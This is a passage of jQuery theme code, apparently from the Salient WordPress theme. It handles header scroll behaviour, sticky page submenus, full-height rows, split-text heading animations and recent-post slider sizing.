					$window.on('smartresize.nectarNavScrollEffects', bindScrollEffectsDesktop);
					
				}
				
				/**
				* Bind deaktop header scroll effects.
				*
				* @since 10.5
				* @see headerNavScrollInit
				*/	
				function bindScrollEffectsDesktop() {
					
					if (nectarDOMInfo.winW < 1000) {
						return;
					}
					
					if (headerResize == true && headerHideUntilNeeded != '1') {

						$window.off('scroll.headerResizeEffect');
						
						if ($('#nectar_fullscreen_rows').length == 0) {
							$window.on('scroll.headerResizeEffect', smallNav);
						} else if ($('#nectar_fullscreen_rows[data-mobile-disable="on"]').length > 0 && nectarDOMInfo.usingMobileBrowser) {
							$window.on('scroll.headerResizeEffect', smallNav);
						}
						
					} else if (headerHideUntilNeeded != '1') {

						$window.off('scroll.headerResizeEffectOpaque');
						$window.on('scroll.headerResizeEffectOpaque', opaqueCheck);
						
					} else if (headerHideUntilNeeded == '1') {
						

						if ($('.nectar-box-roll').length > 0) {
							$headerOuterEl.addClass('at-top-before-box');
						}
						
						// Don't trigger for header remove stickiness.
						if ($('#header-outer[data-remove-fixed="1"]').length == 0) {
							hhunHeaderEffect();
						}
						
					} //end if hhun
					
					// Condense header effect coming from mobile.
					if ($('#header-outer[data-format="centered-menu-bottom-bar"][data-condense="true"]').length > 0 ) {
						
						if( $headerSecondaryEl.length > 0 ) {
							// Remove transform.
							$headerOuterEl.css('transform','');
						}

						if ( nectarDOMInfo.scrollTop > 200 && !$headerOuterEl.hasClass('fixed-menu') ) {
							$headerOuterEl.addClass('fixed-menu');
						}
						
					}
					
					// Only bind mobile if applicable.
					
					$window.off('smartresize.nectarNavScrollEffects');
					$window.on('smartresize.nectarNavScrollEffects', bindScrollEffectsMobile);

				}
				


				/**
				* Header Navigation scroll events initialization.
				*
				* @since 10.5
				*/			
				function headerNavScrollInit() {

					// Remove transparent class if page loaded further down.
					if ($('#header-outer[data-remove-fixed="1"]').length == 0 && nectarDOMInfo.winW > 1000) {
						if ( $(window).scrollTop() != 0 && $('#header-outer.transparent[data-permanent-transparent="false"]').length == 1) {
							$headerOuterEl.removeClass('transparent');
						}
					}
					
					// Permanent transparent header.
					if ($('#nectar_fullscreen_rows').length == 0 && $('.nectar-box-roll').length == 0) {
						midnightInit();
					}

					// Determine which events to bind at start.
					if (nectarDOMInfo.winW < 1000 && $('.nectar-box-roll').length == 0) {
						bindScrollEffectsMobile();
						$window.on('smartresize.nectarNavScrollEffects', bindScrollEffectsMobile);
					} else {
						bindScrollEffectsDesktop();
						$window.on('smartresize.nectarNavScrollEffects', bindScrollEffectsDesktop);
					}

				}	
				
				
				


				
				/**
				* Set the header space div height.
				*
				* @since 10.5
				*/	
				function headerSpace() {
					
					if ($('.mobile').length > 0) {
						
						if (nectarDOMInfo.winH < nectarDOMInfo.winW && nectarDOMInfo.winW > 1000) {
							if ($('#header-outer.small-nav').length == 0) {
								$('#header-space').css('height', $headerOuterEl.outerHeight());
							}
						} else {
							$('#header-space').css('height', $headerOuterEl.outerHeight());
						}
						
					} else {
						
						if ($('.nectar-parallax-scene.first-section').length == 0) {
							
							var headerPadding2 = headerPadding - headerPadding / 1.8;
							var $headerHeight = ($('#header-outer[data-header-resize="1"]').length > 0 && $('.small-nav').length > 0) ? $headerOuterEl.outerHeight() + (parseInt(logoShrinkNum) + headerPadding2 * 2) : $headerOuterEl.outerHeight();
							
							$('#header-space').css('height', $headerHeight);
							
						}
						
					}
					
				}
				
				
				
				/**
				* Handle header nav distance away from top to account for admin bar.
				*
				* @since 10.5
				*/	
				
				function headerNavOffsetInit() {
					
					var lastPosition     = -1;
					var $headerScrollTop = nectarDOMInfo.scrollTop;
					
					// Verify scroll pos has changed before calculating.
					function headerOffsetAdjust() {
						
						if ($('body.compose-mode').length > 0) {
							return;
						}
						
						$headerScrollTop = nectarDOMInfo.scrollTop;
						
						if (lastPosition == $headerScrollTop) {
							requestAnimationFrame(headerOffsetAdjust);
							return false;
						} else {
							lastPosition = $headerScrollTop;
						}
						
						headerOffsetAdjustCalc();
						requestAnimationFrame(headerOffsetAdjust);
						
					}
					
					// Called when scrolling occurs.
					function headerOffsetAdjustCalc() {
						
						var $eleHeight = 0;
						
						// Mobile.
						if ($('body.mobile').length > 0 || (condenseHeaderLayout == true && $('#header-outer .span_9').css('display') == 'none')) {

							$eleHeight = 0;
							var $endOffset = ($wpAdminBar.css('position') == 'fixed') ? $wpAdminBar.height() : 0;
							
							$eleHeight += nectarDOMInfo.adminBarHeight;
							
							if ($eleHeight - $headerScrollTop > $endOffset) {
								$headerOuterEl.css('top', $eleHeight - $headerScrollTop + 'px');
							} else {
								$headerOuterEl.css('top', $endOffset);
							}
							
						} 
						// Desktop
						else {
							if ( condenseHeaderLayout == false ) {
								
								$eleHeight = 0;
								
								if( !$headerOuterEl.is('[data-remove-fixed="1"]') ) {
									$eleHeight += nectarDOMInfo.adminBarHeight;
								}
								$headerOuterEl.css('top', $eleHeight + 'px');
							}
						}
						
					}
					
					// Bind event and begin if needed.
					if ($('#header-outer[data-mobile-fixed="1"]').length > 0 && $wpAdminBar.length > 0) {
						
						if ($('#nectar_fullscreen_rows').length == 0) {
							requestAnimationFrame(headerOffsetAdjust);
						} else if ($('#nectar_fullscreen_rows').length > 0 && nectarDOMInfo.usingMobileBrowser) {
							requestAnimationFrame(headerOffsetAdjust);
						}
						
						$window.smartresize(headerOffsetAdjustCalc);
						
					}
					
				}
				
				
				
				
				
				
					
				/**
				* Calculate the minimum body height when using the footer reveal effect or material OCM
				*
				* @since 7.0
				*/
				function footerRevealCalcs() {
					
					var $headerNavSpace = ($('body[data-header-format="left-header"]').length > 0 && $window.width() > 1000) ? 0 : $headerOuterEl.outerHeight();
					
					if ($window.height() - $wpAdminBar.height() - $headerNavSpace - $('#footer-outer').height() - 1 - $pageHeaderBG.height() - $('.page-header-no-bg').height() > 0) {
						var $resizeExtra = ($('body:not(.material) #header-outer[data-header-resize="1"]').length > 0) ? 55 : 0;
						$('body[data-footer-reveal="1"] .container-wrap').css({
							'margin-bottom': $('#footer-outer').height() - 1
						});
						
						$('.container-wrap').css({
							'min-height': $window.height() - $wpAdminBar.height() - $headerNavSpace - $('#footer-outer').height() - 1 - $('.page-header-no-bg').height() - $pageHeaderBG.height() + $resizeExtra
						});
						
					} else {
						$('body[data-footer-reveal="1"] .container-wrap').css({
							'margin-bottom': $('#footer-outer').height() - 1
						});
					}
					
					if ($window.width() < 1000) {
						$('#footer-outer').attr('data-midnight', 'light');
					}
					else {
						$('#footer-outer').removeAttr('data-midnight');
					}
				}
				
				
				/**
				* Initialize footer reveal and bind event
				*
				* @since 10.5
				*/
				function footerRevealInit() {
					
					if ($('body[data-footer-reveal="1"]').length > 0 || $('body.material[data-slide-out-widget-area-style="slide-out-from-right"]').length > 0) {
						
						$body.addClass('nectar-no-flex-height');
						
						setTimeout(function () {
							footerRevealCalcs();
						}, 60);
						footerRevealCalcs();
						
						$window.on('resize', footerRevealCalcs);
	
						if ($('bodybody[data-footer-reveal="1"][data-footer-reveal-shadow="large_2"]').length > 0) $('.container-wrap').css({
							boxShadow: '0 70px 110px -30px ' + $('#footer-outer').css('backgroundColor')
						});
						
					}
					
				}
				
				

				
				
				/**
				* Switch header navigation BG color to match row BG color that is passes.
				*
				* Only called when using "Header Inherit Row Color" option.
				*
				* @since 5.0
				*/
				function headerRowColorInheritInit() {
					
					if ($('body[data-header-inherit-rc="true"]').length > 0 && $('.mobile').length == 0 && $('#header-outer[data-transparent-header="true"]').length > 0 ) {
						
						var headerOffset = $logoHeight / 2 + headerPadding + nectarDOMInfo.adminBarHeight;
						
						if( $('#header-outer[data-permanent-transparent="1"]').length == 0 ) {
							headerOffset = ($logoHeight - logoShrinkNum) + Math.ceil((headerPadding * 2) / 1.8) + nectarDOMInfo.adminBarHeight;
						} 
						
						$('.main-content > .row > .wpb_row').each(function () {
							
							var $that = $(this);
							var $textColor;
							
							var waypoint = new Waypoint({
								element: $that,
								handler: function (direction) {
									
									//User is scrolling down.
									if (direction == 'down') {
										
										if ($that.find('.row-bg.using-bg-color').length > 0) {
											
											$textColor = ($that.find('> .col.span_12.light').length > 0) ? 'light-text' : 'dark-text';
											
											$headerOuterEl
												.css('background-color', $that.find('.row-bg').css('background-color'))
												.removeClass('light-text')
												.removeClass('dark-text')
												.addClass($textColor);
											
											$headerOuterEl.attr('data-current-row-bg-color', $that.find('.row-bg').css('background-color'));
											$('body.material #header-outer .bg-color-stripe').css('background-color', $that.find('.row-bg').css('background-color'));
											
										} else {
											
											$headerOuterEl
												.css('background-color', $headerOuterEl.attr('data-user-set-bg'))
												.removeClass('light-text')
												.removeClass('dark-text');
											
											$headerOuterEl.attr('data-current-row-bg-color', $headerOuterEl.attr('data-user-set-bg'));
											$('body.material #header-outer .bg-color-stripe').css('background-color', '');
											
										}
										
									} 
									
									//User is scrolling up.
									else {
										
										if ($that.prev('div.wpb_row').find('.row-bg.using-bg-color').length > 0) {
											
											$textColor = ($that.prev('div.wpb_row').find('> .col.span_12.light').length > 0) ? 'light-text' : 'dark-text';
											
											$headerOuterEl
												.css('background-color', $that.prev('div.wpb_row').find('.row-bg').css('background-color'))
												.removeClass('light-text')
												.removeClass('dark-text')
												.addClass($textColor);
											
											$headerOuterEl.attr('data-current-row-bg-color', $that.prev('div.wpb_row').find('.row-bg').css('background-color'));
											$('body.material #header-outer .bg-color-stripe').css('background-color', $that.prev('div.wpb_row').find('.row-bg').css('background-color'));
											
										} else {
											
											$headerOuterEl
												.css('background-color', $headerOuterEl.attr('data-user-set-bg'))
												.removeClass('light-text')
												.removeClass('dark-text');
											
											$headerOuterEl.attr('data-current-row-bg-color', $headerOuterEl.attr('data-user-set-bg'));
											$('body.material #header-outer .bg-color-stripe').css('background-color', '');
											
										}
										
									}
									
								},
								offset: headerOffset
								
							}); // End of waypoint bind.
							
						}); // End of loop through rows.
						
					}
					
				}
				
				
				
				/**
				* Page submenu sticky functionality
				*
				* @since 10.5.2
				*/
				
				function stickyPageSubmenuInit() {
					
					var $ = window.jQuery,
					Waypoint = window.Waypoint,
					$offsetHeight = calcHeaderNavHeight(),
					$headerHeight = calcHeaderNavHeight();

					$window.on('smartresize', function () {
						
						$offsetHeight = calcHeaderNavHeight();
						
						if ($wpAdminBar.length > 0 && 
							$wpAdminBar.css('position') == 'fixed') {
							$offsetHeight += $wpAdminBar.height();
						}
						
						if ($bodyBorderTop.length > 0 && 
							$window.width() > 1000 && 
							$('body[data-hhun="1"]').length > 0) {
							$offsetHeight += $bodyBorderTop.height();
						}
						
						// Recalc for resizing (same as stuck/unstuck logic below)
						if ($('.page-submenu.stuck').length > 0) {
							
							$('.page-submenu.stuck')
								.addClass('no-trans')
								.css('top', $offsetHeight)
								.css('transform', 'translateY(0)').addClass('stuck');
							
							setTimeout(function () {
								$('.page-submenu.stuck').removeClass('no-trans');
							}, 50);
							
							$('.page-submenu.stuck')
								.parents('.wpb_row')
								.css('z-index', 10000);
							
							// Boxed layout
							if ($('#boxed').length > 0) {
								
								var $negMargin = ($window.width() > 1000) ? $('.container-wrap').width() * 0.04 : 39;
								
								$('.page-submenu.stuck').css({
									'margin-left': '-' + $negMargin + 'px',
									'width': $('.container-wrap').width()
								});
								
							}
							
						} else {
							
							$('.page-submenu.stuck')
								.css('top', '0')
								.removeClass('stuck');
								
							$('.page-submenu.stuck')
								.parents('.wpb_row')
								.css('z-index', 'auto');
							
							if ($('#boxed').length > 0) {
								$('.page-submenu.stuck').css({
									'margin-left': '0px',
									'width': '100%'
								});
							}
							
						}
						
					});
					
					/* http://imakewebthings.com/waypoints/shortcuts/sticky-elements */
					function Sticky(options) {
						this.options = $.extend({}, Waypoint.defaults, Sticky.defaults, options);
						this.element = this.options.element;
						this.$element = $(this.element);
						this.createWrapper();
						this.createWaypoint();
					}
					
					/* Private */
					Sticky.prototype.createWaypoint = function () {
						
						var originalHandler = this.options.handler;
						
						$offsetHeight = calcHeaderNavHeight();
						
						if ($wpAdminBar.length > 0 && $wpAdminBar.css('position') == 'fixed') {
							$offsetHeight += $wpAdminBar.height();
						}
						
						if ($bodyBorderTop.length > 0 && $window.width() > 1000 && $('body[data-hhun="1"]').length > 0) {
							$offsetHeight += $bodyBorderTop.height();
						}
						
						this.waypoint = new Waypoint($.extend({}, this.options, {
							element: this.wrapper,
							handler: $.proxy(function (direction) {
								var shouldBeStuck = this.options.direction.indexOf(direction) > -1;
								var wrapperHeight = shouldBeStuck ? this.$element.outerHeight(true) : '';
								
								this.$wrapper.height(wrapperHeight);
								if (shouldBeStuck) {
									
									this.$element
										.addClass('no-trans')
										.css('top', $offsetHeight)
										.css('transform', 'translateY(0)')
										.addClass('stuck');
									
									var $that = this;
									
									setTimeout(function () {
										$that.$element.removeClass('no-trans');
									}, 50);
									
									this.$element.parents('.wpb_row').css('z-index', 10000);
									
									//boxed
									if ($('#boxed').length > 0) {
										var $negMargin = ($window.width() > 1000) ? $('.container-wrap').width() * 0.04 : 39;
										this.$element.css({
											'margin-left': '-' + $negMargin + 'px',
											'width': $('.container-wrap').width()
										});
									}
									
								} else {
									this.$element.css('top', '0').removeClass('stuck');
									
									if ($('#boxed').length > 0) this.$element.css({
										'margin-left': '0px',
										'width': '100%'
									});
								}
								
								if (originalHandler) {
									originalHandler.call(this, direction);
								}
							}, this),
							offset: $offsetHeight
						}));
						
						var $that = this;
						
						
						setInterval(function () {
							
							if ($('body[data-hhun="1"] #header-outer.detached:not(.invisible)').length > 0) {
								
								var heightToAdjust = $headerOuterEl.outerHeight();
								
								if( $headerSecondaryEl.length > 0) {
									heightToAdjust -=	nectarDOMInfo.secondaryHeaderHeight;
								}
								
								$that.waypoint.options.offset = $offsetHeight + heightToAdjust;
							}
							else {
								$that.waypoint.options.offset = $offsetHeight;
							}
							
							Waypoint.refreshAll();
							
						}, 100);
						
						
					};
					
					/* Private */
					Sticky.prototype.createWrapper = function () {
						if (this.options.wrapper) {
							this.$element.wrap(this.options.wrapper);
						}
						this.$wrapper = this.$element.parent();
						this.wrapper  = this.$wrapper[0];
					};
					
					/* Public */
					Sticky.prototype.destroy = function () {
						
						if (this.$element.parent()[0] === this.wrapper) {
							this.waypoint.destroy();
							this.$element.removeClass(this.options.stuckClass);
							if (this.options.wrapper) {
								this.$element.unwrap();
							}
						}
						
					};
					
					Sticky.defaults = {
						wrapper: '<div class="sticky-wrapper" />',
						stuckClass: 'stuck',
						direction: 'down right'
					};
					
					Waypoint.Sticky = Sticky;
					
				}
				
				
				
				/**
				* Page submenu page builder element.
				*
				* @since 10.5
				*/
				
				function pageSubmenuInit() {
					
					if ($('.page-submenu[data-sticky="true"]').length > 0 && $('#nectar_fullscreen_rows').length == 0) {
						
						stickyPageSubmenuInit();
						
						// Remove outside of column setups 
						if ($('.page-submenu').parents('.span_12').find('> .wpb_column').length > 1) {
							
							var pageMenu      = $('.page-submenu').clone(),
							pageMenuParentRow = $('.page-submenu').parents('.wpb_row');
							
							$('.page-submenu').remove();
							pageMenuParentRow.before(pageMenu);
						}
						
						var sticky = new Waypoint.Sticky({
							element: $('.page-submenu[data-sticky="true"]')[0]
						});
						
					}
					
					// Adjust to be higher.
					if ($('#nectar_fullscreen_rows').length == 0) {
						
						$('.page-submenu')
							.parents('.wpb_row')
							.css('z-index', 10000);
					}
					
					// Bind events.
					$('.page-submenu .mobile-menu-link').on('click', function () {
						
						$(this).parents('.page-submenu')
							.find('ul')
							.stop(true)
							.slideToggle(350);
							
						return false;
						
					});
					
					$('.page-submenu ul li a').on('click', function () {
						
						if ($('body.mobile').length > 0) {
							$(this).parents('.page-submenu')
								.find('ul')
								.stop(true)
								.slideToggle(350);
						}
						
					});
					
				}
				


				
				/**
				* Page builder full height row option.
				*
				* @since 8.0
				*/
				
				function vcFullHeightRow() {
					
					var $element = $(".vc_row-o-full-height:first");
					if ($element.length) {
						
						var windowHeight, offsetTop, fullHeight;
						windowHeight = $window.height();
						
						$(".vc_row-o-full-height").each(function () {
							
							offsetTop = $(this).offset().top;
							
							if (offsetTop < windowHeight && 
								$(this).hasClass('top-level') && 
								!nectarDOMInfo.usingFrontEndEditor) {
									
								fullHeight = 100 - offsetTop / (windowHeight / 100);
								$(this).css("min-height", fullHeight + "vh");
								$(this).find('> .col.span_12').css("min-height", fullHeight + "vh");
								
							} else {
								
								$(this).css("min-height", windowHeight);
								$(this).find('> .col.span_12').css("min-height", windowHeight);
								
							}
							
						});
						
					}
					
				}
				
				
				/**
				* Page builder full height row init.
				*
				* @since 10.5
				*/
				
				function vcFullHeightRowInit() {
					
					if( $('.vc_row-o-full-height').length > 0 ) {
						vcFullHeightRow();
						$window.on('smartresize', vcFullHeightRow);
					}
					
				}
				
				
				/**
				* Page builder equal height row IE helper.
				*
				* @since 8.0
				*/
				function fixIeFlexbox() {
					var ua = window.navigator.userAgent,
					msie = ua.indexOf("MSIE ");
					(msie > 0 || navigator.userAgent.match(/Trident.*rv\:11\./)) && $(".vc_row-o-full-height").each(function () {
						"flex" === $(this).find('> .span_12').css("display") && $(this).wrap('<div class="vc_ie-flexbox-fixer"></div>')
					});
					
					if( msie > 0 || navigator.userAgent.match(/Trident.*rv\:11\./)) {
						fixIE11Images();
						$(window).on('resize',fixIE11Images);
					}
					
				}
				
				/**
				* Fix the IE11 bug with max-width 100% on imgs
				*
				* @since 11.0
				*/
				function fixIE11Images() {
					
					$('.img-with-aniamtion-wrap img.img-with-animation').each(function() {
						var $parentWrap = $(this).parents('.img-with-aniamtion-wrap');
						$parentWrap.css({
							'height' : ''
						});
						var height = $(this).height();

						$parentWrap.css({
							'height' : height
						});
						
					});
					
				}
				
				
				

				
				
				
				
				
				/**
				* Recent post height
				*
				* @since 10.5
				*/
				function recentPostsTitleOnlyEqualHeight() {
					
					function recentPostHeight() {
						
						$('.blog-recent[data-style="title_only"]').each(function () {
							
							if ($(this).find('> .col').length > 1) {
								return false;
							}
							var $parentsSeletor = $(this).parent().parent().parent();
							
							if ($parentsSeletor.hasClass('vc_col-sm-3') ||
							$parentsSeletor.hasClass('vc_col-sm-4') ||
							$parentsSeletor.hasClass('vc_col-sm-6') ||
							$parentsSeletor.hasClass('vc_col-sm-8') ||
							$parentsSeletor.hasClass('vc_col-sm-9')) {
								
								if ($('body.mobile').length == 0 && $(this).next('div').length == 0) {
									var tallestColumn = 0;
									
									$(this).find('> .col').css('padding', '50px 20px');
									
									$(this).parents('.span_12').find(' > .wpb_column').each(function () {
										
										if( Math.floor($(this).height()) > tallestColumn ) {
											tallestColumn = Math.floor($(this).height());
										}
										
									});
									
									if (Math.floor($(this).find('> .col').outerHeight(true)) < Math.floor($(this).parents('.wpb_row').height()) - 1) {
										$(this).find('> .col').css('padding-top', (tallestColumn - $(this).find('> .col').height()) / 2 + 'px');
										$(this).find('> .col').css('padding-bottom', (tallestColumn - $(this).find('> .col').height()) / 2 + 'px');
									}
									
								} else {
									$(this).find('> .col').css('padding', '50px 20px');
								}
							}
						});
						
					}
					
					// Set heights.
					if( $('.blog-recent[data-style="title_only"]').length > 0 ) {
						recentPostHeight();
						$window.on('smartresize',recentPostHeight);
					}
					
				}
				
				
				

				
				/**
				* Helper to calculate recent post slider height
				*
				* @since 7.0
				*/
				function recentPostSliderHeight() {
					
					$('.nectar-recent-posts-slider').each(function () {
						
						var $minHeight   = 250,
						$definedHeight   = parseInt($(this).attr('data-height')),
						dif              = ($('body[data-ext-responsive="true"]').length > 0) ? $window.width() / 1400 : $window.width() / 1100,
						$sliderSelectors = $(this).find('.nectar-recent-post-slide, .flickity-viewport');
						
						if (nectarDOMInfo.winW > 1000 && $('#boxed').length == 0) {
							
							if ($(this).parents('.full-width-content').length == 0) {
								
								if ($('body[data-ext-responsive="true"]').length > 0 && nectarDOMInfo.winW >= 1400) {
									$sliderSelectors.css('height', Math.ceil($definedHeight));
								} else if ($('body[data-ext-responsive="true"]').length == 0 && nectarDOMInfo.winW >= 1100) {
									$sliderSelectors.css('height', Math.ceil($definedHeight));
								} else {
									$sliderSelectors.css('height', Math.ceil($definedHeight * dif));
								}
								
							} else {
								$sliderSelectors.css('height', Math.ceil($definedHeight * dif));
							}
							
						} else {
							
							// Column sliders
							var $parentCol = ($(this).parents('.wpb_column').length > 0) ? $(this).parents('.wpb_column') : $(this).parents('.col');
							
							if ($parentCol.length == 0) {
								$parentCol = $('.main-content');
							}
							
							if (!$parentCol.hasClass('vc_span12') && 
							!$parentCol.hasClass('main-content') && 
							!$parentCol.hasClass('span_12') && 
							!$parentCol.hasClass('vc_col-sm-12')) {
								
								var $parentColWidth = sliderColumnDesktopWidth($parentCol),
								$aspectRatio 				= $definedHeight / $parentColWidth;
								
								// Min height
								if ($aspectRatio * $parentCol.width() <= $minHeight) {
									$sliderSelectors.css('height', $minHeight);
								} else {
									$sliderSelectors.css('height', $aspectRatio * $parentCol.width());
								}
								
							}
							
							// Regular
							else {
								
								// Min height
								if ($definedHeight * dif <= $minHeight) {
									$sliderSelectors.css('height', $minHeight);
								} else {
									$sliderSelectors.css('height', Math.ceil($definedHeight * dif));
								}
								
							}
							
						}
						
					});
					
				}
				

				function sliderColumnDesktopWidth(parentCol) {
					
					var $parentColWidth = 1100,
					$columnNumberParsed = $(parentCol).attr('class').match(/\d+/);
					
					if ($columnNumberParsed == '2') {
						$parentColWidth = 170
					} else if ($columnNumberParsed == '3') {
						$parentColWidth = 260
					} else if ($columnNumberParsed == '4') {
						$parentColWidth = 340
					} else if ($columnNumberParsed == '6') {
						$parentColWidth = 530
					} else if ($columnNumberParsed == '8') {
						$parentColWidth = 700
					} else if ($columnNumberParsed == '9') {
						$parentColWidth = 805
					} else if ($columnNumberParsed == '10') {
						$parentColWidth = 916.3
					} else if ($columnNumberParsed == '12') {
						$parentColWidth = 1100
					}
					
					return $parentColWidth;
				}
				
				
				/**
				* Spit text into separate lines to animate in 
				*
				* @since 7.0
				*/
				
				function splitLineText() {
					$('.nectar-recent-posts-single_featured.multiple_featured').each(function () {
						
						var $slideClass = ($(this).find('.project-slides').length > 0) ? '.project-slide' : '.nectar-recent-post-slide',
						$slideInfoClass = ($(this).find('.project-slides').length > 0) ? '.project-info h1' : '.inner-wrap h2 a';
						
						$(this).find($slideClass).each(function () {
							
							$(this).find($slideInfoClass).each(function () {
								
								var textArr = $(this).text();
								textArr = textArr.trim();
								textArr = textArr.split(' ');
								
								$(this)[0].innerHTML = '';
								
								for (var i = 0; i < textArr.length; i++) {
									$(this)[0].innerHTML += '<span>' + textArr[i] + '</span> ';
								}
								
							});
							
							$(this).find($slideInfoClass + ' > span').wrapInner('<span class="inner" />');
							
						});
						
					});
					
				}
				
				
				/**
				* Spit text into separate lines to animate in 
				*
				* @since 7.0
				*/
				
				function splitLineHeadingMarkup() {
					
					$('.nectar-split-heading[data-animation-type="line-reveal-by-space"]').each(function () {
						
						$(this).find('> *').each(function () {
							
							var textArr = $(this).text();
							textArr = textArr.trim();
							textArr = textArr.split(' ');
							
							$(this)[0].innerHTML = '';
							
							for (var i = 0; i < textArr.length; i++) {
								$(this)[0].innerHTML += '<span>' + textArr[i] + '</span> ';
							}
							
						});
						
						if( !$(this).hasClass('animated-in') ) {
							$(this).find('> * > span').wrapInner('<span class="inner" />');
						} else {
							$(this).find('> * > span').wrapInner('<span class="inner animated" />');
						}
						
						$(this).addClass('markup-generated');
					
					});
					
					$('.nectar-split-heading[data-animation-type="letter-fade-reveal"]').each(function () {
						
						
						$(this).find('> *').each(function () {
							
							var textArr = $(this).text();
							textArr = textArr.trim();
							textArr = textArr.split(' ');
							
							$(this)[0].innerHTML = '';
							
							for (var i = 0; i < textArr.length; i++) {
								$(this)[0].innerHTML += '<span>' + textArr[i] + '</span> ';
							}
							
						});
						
						
						$(this).find('span').each(function () {
							
							var $this = $(this);
							var textArr = $(this).text().split('');
							
							$this.empty();
							
							$.each(textArr, function (i, el) {
								$this.append("<span>" + el + "</span");
							});
							
						});

						$(this).addClass('markup-generated');
					
					});
					
				}
				
				function splitLineHeadingInit() {
					
					if( $('.nectar-split-heading[data-animation-type="line-reveal-by-space"]').length > 0 || $('.nectar-split-heading[data-animation-type="letter-fade-reveal"]').length > 0 ) {
						// Generate markup.
						splitLineHeadingMarkup();
					}
					
				}
				
				
				/**
				* Create recent post sliders
				*
				* @since 7.0
				*/
				function recentPostsFlickityInit() {
					
				
					if ($('.nectar-recent-posts-slider-inner').length > 0) {
						
						var $rpFGroupCells = ($('.nectar-recent-posts-slider_multiple_visible').length > 0) ? '90%' : false;
						
						var $rpF = $('.nectar-recent-posts-slider-inner').flickity({
							contain: true,
							groupCells: $rpFGroupCells,
							draggable: true,
							lazyLoad: false,
							imagesLoaded: true,
							percentPosition: true,
							prevNextButtons: false,
							pageDots: true,
							resize: true,
							setGallerySize: true,
							wrapAround: true,
							accessibility: false
						});
						
						setTimeout(function () {
							$('.nectar-recent-posts-slider-inner').addClass('loaded');
						}, 1150);
						var flkty = $rpF.data('flickity');
						
						$rpF.on('dragStart.flickity', function () {
							$('.flickity-viewport').addClass('is-moving');
						});
						
						$rpF.on('dragEnd.flickity', function () {
							$('.flickity-viewport').removeClass('is-moving');
						});
						
						var $dragTimeout;
						
						$rpF.on('select.flickity', function () {
							
							$('.flickity-viewport').addClass('no-hover');
							clearTimeout($dragTimeout);
							$dragTimeout = setTimeout(function () {
								$('.flickity-viewport').removeClass('no-hover');
							}, 400);
							
						});
						
						recentPostSliderHeight();
						$window.on('resize', recentPostSliderHeight);
						
						if (!nectarDOMInfo.usingMobileBrowser && !nectarDOMInfo.usingFrontEndEditor) {
							$window.on('resize', recentPostSliderParallaxMargins);
						}
						
						
					}
					

					
					// Multiple featured controls
					function multipleLargeFeaturedInit() {
						$('.nectar-recent-posts-single_featured.multiple_featured').each(function (sliderIndex) {
							
							if ($(this).find('> .normal-container').length > 0) {
								$(this).find('> .normal-container').remove();
							}
							
							$(this).append('<div class="normal-container container"> <ul class="controls" data-color="' + $(this).attr('data-button-color') + '" data-num="' + $(this).find('.nectar-recent-post-slide').length + '"></ul> </div>');
							var $that = $(this);
							var tallestFeaturedSlide = 0;
							var $slideClickTimeout;
							
							// Store instance
							$nectarCustomSliderRotate[sliderIndex] = {
								autorotate: ''
							};
							
							$(this).find('.nectar-recent-post-slide').each(function (i) {
								
								if ($(this).find('.recent-post-container').height() > tallestFeaturedSlide) {
									$(this).siblings().removeClass('tallest');
									$(this).addClass('tallest');
									tallestFeaturedSlide = $(this).find('.recent-post-container').height();
								}
								
								var $activeClass = (i == 0 && $(this).parents('.nectar-recent-posts-single_featured.multiple_featured[data-autorotate="none"]').length > 0) ? 'class="active"' : '';
								$that.find('.controls').append('<li ' + $activeClass + '><span class="title">' + $(this).find('h2').text() + '</span></li>');
							});
							
							$(this).addClass('js-loaded');
							

							// Click event
							$(this).find('.controls li').on('click', function (e) {
								
								if ($(this).hasClass('active')) {
									return;
								}
								
								if (e.originalEvent !== undefined) {
									$(this).parent().find('.active').addClass('trans-out');
								}
								
								var $index = $(this).index(),
								$oldIndex  = $(this).parent().find('.active').index(),
								$that      = $(this);
								
								clearTimeout($slideClickTimeout);
								
								$(this).siblings().removeClass('active');
								$(this).addClass('active');
								
								$slideClickTimeout = setTimeout(function () {
									
									$that.parents('.multiple_featured')
										.find('.nectar-recent-post-slide:not(:eq(' + $index + '))')
										.css('opacity', '0')
										.removeClass('active');
										
									$that.parent()
										.find('.trans-out')
										.removeClass('trans-out');
										
								}, 300);
								
								$that.parents('.multiple_featured')
									.find('.nectar-recent-post-slide:not(:eq(' + $index + '))')
									.css('z-index', '10');
									
								$that.parents('.multiple_featured')
									.find('.nectar-recent-post-slide:eq(' + $oldIndex + ')')
									.css('z-index', '15');
								
								$(this).parents('.multiple_featured').find('.nectar-recent-post-slide').eq($index).css({
									'opacity': '1',
									'z-index': '20'
								}).addClass('active');
								
								if ($(this).parents('.multiple_featured').attr('data-autorotate') != 'none') {
									nectarCustomSliderResetRotate($that.parents('.nectar-recent-posts-single_featured.multiple_featured'), sliderIndex);
								}
							});
							
							
							// Autorotate
							$that = $(this);
							
							if ($(this).attr('data-autorotate').length > 0 && 
							$(this).attr('data-autorotate') != 'none' && 
							$('body.vc_editor').length == 0) {
								
								setTimeout(function () {
									var slide_interval = (parseInt($that.attr('data-autorotate')) < 100) ? 4000 : parseInt($that.attr('data-autorotate'));
									
									$nectarCustomSliderRotate[sliderIndex].autorotate = setInterval(function () {
										nectarCustomSliderRotate($that)
									}, slide_interval);
									
									// Set first active class
									$that
										.find('.controls > li:first-child')
										.addClass('active');
									
								}, 30);
								
							}
							
						});
						
						splitLineText();
						$window.on('resize', splitLineText);
						
					}
					
					multipleLargeFeaturedInit();
					
				}
				

				
				/**
				* Default recent post slider parallax RAF loop.
				*
				* @since 7.0
				*/
				function recentPostSliderParallax() {
					
					$('.nectar-recent-posts-slider').each(function () {
						
						var $offset        = parseInt($(this).find('.flickity-slider').position().left),
						$slides            = $(this).find('.nectar-recent-post-slide'),
						$slideLength       = $slides.length,
						$slideWidth        = $slides.width(),
						$lastChildIndex    = $(this).find('.nectar-recent-post-slide:last-child').index(),
						$slideFirstChildBG =	$(this).find('.nectar-recent-post-slide:first-child .nectar-recent-post-bg'),
						$slideLastChildBG  = $(this).find('.nectar-recent-post-slide:last-child .nectar-recent-post-bg');
						
						// First going to last
						if ($offset >= -3) {
							$slideLastChildBG.css('margin-left', parseInt(Math.ceil($slideWidth / 3.5)) + 'px');
						} else {
							$slideLastChildBG.css('margin-left', '-' + parseInt(Math.ceil($slideWidth / 3.5 * $lastChildIndex)) + 'px');
						}
						
						// Last going to first
						if (Math.abs($offset) >= ($slideLength - 1) * $slideWidth) {
							$slideFirstChildBG.css('margin-left', '-' + parseInt(Math.ceil(($slideWidth / 3.5) * $slideLength)) + 'px');
						} else {
